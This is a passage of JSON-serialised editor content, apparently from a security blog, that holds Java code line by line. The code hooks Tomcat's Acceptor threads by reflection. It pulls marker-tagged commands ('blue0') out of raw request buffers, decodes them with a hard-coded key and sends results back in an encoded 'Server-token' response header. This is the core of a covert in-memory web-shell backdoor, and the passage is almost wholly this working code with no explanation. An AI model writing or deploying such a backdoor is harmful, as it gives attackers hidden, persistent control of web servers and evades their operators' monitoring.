System.out.println(a.indexOf(\&#34;blue0\&#34;));&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ibdg-1659707094646&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;FHps-1659707094645&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                                            System.out.println(a.indexOf(\&#34;\\r\&#34;, a.indexOf(\&#34;blue0\&#34;)));&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;wzT9-1659707094648&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;yfsK-1659707094647&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                                            String b = a.substring(a.indexOf(\&#34;blue0\&#34;) + \&#34;blue0\&#34;.length() + 2, a.indexOf(\&#34;\\r\&#34;, a.indexOf(\&#34;blue0\&#34;)));&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;fzcr-1659707094650&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;5hEz-1659707094649&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                                            b = decode(DEFAULT_SECRET_KEY, b);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;gEHM-1659707094652&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;MXrW-1659707094651&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                                            buf.position(0);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;lMwS-1659707094654&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;mxzj-1659707094653&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                                            nioSocketWrapper.unRead(buf);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;lulZ-1659707094656&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;vDQf-1659707094655&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                                            System.out.println(b);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;2AVm-1659707094658&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;jgFk-1659707094657&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                                            System.out.println(new String(buf.array(), \&#34;UTF-8\&#34;));&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;teQ0-1659707094660&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;NV7N-1659707094659&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                                            return b;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;pwy7-1659707094662&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;3TFG-1659707094661&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                                        }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;LySk-1659707094664&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;uj7f-1659707094663&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                                        else{&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;3hbE-1659707094666&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;chrd-1659707094665&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                                            buf.position(0);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Tk6V-1659707094668&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;QGLv-1659707094667&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                                            nioSocketWrapper.unRead(buf);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;qDSG-1659707094671&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;gE6h-1659707094669&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                                            continue;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;cRIS-1659707094673&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ujc5-1659707094672&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                                        }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;XU5y-1659707094675&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;RIKD-1659707094674&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                                    } catch (Exception e) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;GMWA-1659707094677&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;TJJ4-1659707094676&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                                        nioSocketWrapper.unRead(buf);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;lOPq-1659707094679&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;plqO-1659707094678&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                                    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;5jXW-1659707094681&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;cIb3-1659707094680&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                                } catch (Exception e) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;s9wL-1659707094683&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;tZey-1659707094682&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                                    continue;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;HAqK-1659707094685&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;UjAt-1659707094684&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                                }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ZvS6-1659707094687&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;GK9J-1659707094686&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                            }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;w86r-1659707094689&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;JipO-1659707094688&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                        } catch (Exception e) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;tNGP-1659707094691&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;LXly-1659707094690&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                            continue;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;gZwR-1659707094693&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ZMfW-1659707094692&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                        }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Z4ZL-1659707094695&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;9wUf-1659707094694&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;wcQq-1659707094697&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;tbtF-1659707094696&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                } catch (Exception var11) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;gepK-1659707094699&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;w8cF-1659707094698&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                    System.out.println(var11);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;m8Rq-1659707094702&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ACRb-1659707094701&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                    continue;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;gPkt-1659707094704&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;uiX1-1659707094703&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;LJN1-1659707094706&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;rxdr-1659707094705&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;20aZ-1659707094708&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;qrku-1659707094707&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                            } catch (Exception ignored) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;tcDt-1659707094710&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;z1x6-1659707094709&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                            }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;MGfi-1659707094712&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;YMKX-1659707094711&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;6Tco-1659707094714&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;K0BO-1659707094713&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;kfKQ-1659707094716&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;AFJ5-1659707094715&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;LywZ-1659707094718&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;PWVv-1659707094717&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    if (threadName.contains(\&#34;exec\&#34;)) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;2JVW-1659707094720&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;7AdC-1659707094719&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        return new String();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;gNNL-1659707094722&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;5lXq-1659707094721&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    } else {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;72LP-1659707094724&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;tz8Z-1659707094723&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        continue;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;6fBC-1659707094726&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;avE0-1659707094725&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;zwjR-1659707094728&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;3vI5-1659707094727&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;E53J-1659707094730&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Thrf-1659707094729&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;appt-1659707094732&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;jJue-1659707094731&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;h3dX-1659707094734&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;BYZ6-1659707094733&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            return new String();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;GSib-1659707094736&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ccAW-1659707094735&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;TGQV-1659707094738&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;22bx-1659707094737&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;HQPq-1659707094740&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;701h-1659707094739&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ypib-1659707094742&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;IoSq-1659707094741&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        public void getResponse(byte[] res) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;o11t-1659707094744&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;wTuh-1659707094743&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            try {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;KbEJ-1659707094746&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;5FV7-1659707094745&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                Thread[] threads = (Thread[]) ((Thread[]) getField(Thread.currentThread().getThreadGroup(), \&#34;threads\&#34;));&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;7Wrv-1659707094748&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;aT3p-1659707094747&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;OP4e-1659707094751&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;c4rE-1659707094750&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                for (Thread thread : threads) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;SeaE-1659707094753&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;48tO-1659707094752&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    if (thread != null) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;PKe2-1659707094755&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;w3Fh-1659707094754&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        String threadName = thread.getName();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ki0t-1659707094757&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Jani-1659707094756&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        if (!threadName.contains(\&#34;exec\&#34;) &amp;&amp; threadName.contains(\&#34;Acceptor\&#34;)) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;MSYO-1659707094759&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;w6Cr-1659707094758&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                            Object target = getField(thread, \&#34;target\&#34;);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;CTgG-1659707094761&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;K1uR-1659707094760&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                            if (target instanceof Runnable) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;YykI-1659707094763&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;QhcC-1659707094762&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                try {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;kRTN-1659707094765&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;jw8E-1659707094764&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                    ArrayList objects = (ArrayList) getField(getField(getField(getField(target, \&#34;this$0\&#34;), \&#34;handler\&#34;), \&#34;global\&#34;), \&#34;processors\&#34;);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;uEzI-1659707094767&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;l2Rp-1659707094766&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                    for (Object tmp_object : objects) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;4VqC-1659707094769&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Rdzl-1659707094768&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                        RequestInfo request = (RequestInfo) tmp_object;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;3yKf-1659707094771&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;YCDS-1659707094770&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                        Response response = (Response) getField(getField(request, \&#34;req\&#34;), \&#34;response\&#34;);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;wR4C-1659707094773&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;BLCu-1659707094772&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                        response.addHeader(\&#34;Server-token\&#34;, encode(DEFAULT_SECRET_KEY,new String(res, \&#34;UTF-8\&#34;)));&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;yrp8-1659707094775&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;GNxu-1659707094774&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;39xf-1659707094777&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;vyxv-1659707094776&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;vjOv-1659707094779&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;luyr-1659707094778&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                } catch (Exception var11) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;GvbQ-1659707094781&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;pojS-1659707094780&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                    continue;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;yDF0-1659707094783&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;wYuY-1659707094782&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;e9f7-1659707094785&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;4WHQ-1659707094784&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;i2DE-1659707094787&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;E8UJ-1659707094786&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                            